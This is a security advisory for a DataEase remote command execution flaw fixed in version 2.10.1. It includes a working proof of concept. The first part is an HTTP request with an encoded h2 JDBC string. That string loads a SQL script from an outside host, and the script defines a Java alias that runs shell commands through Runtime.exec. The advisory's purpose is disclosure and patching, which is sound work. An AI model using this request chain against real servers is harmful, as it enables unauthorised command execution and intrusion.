DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.

Affected: Maven: io.dataease:common

### Impact An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.

request message: ``` POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json

{ "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" } ```

h2 data source connection string: ``` // configuration { "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);", } ```

the content of poc.sql: ``` // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce') ```

You can see that the file was created successfully in docker: ``` /tmp # ls -l jdbch2rce -rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce ``` Affected versions: <= 2.10.0

### Patches The vulnerability has been fixed in v2.10.1.

### Workarounds It is recommended to upgrade the version to v2.10.1.

### References If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease Email us at […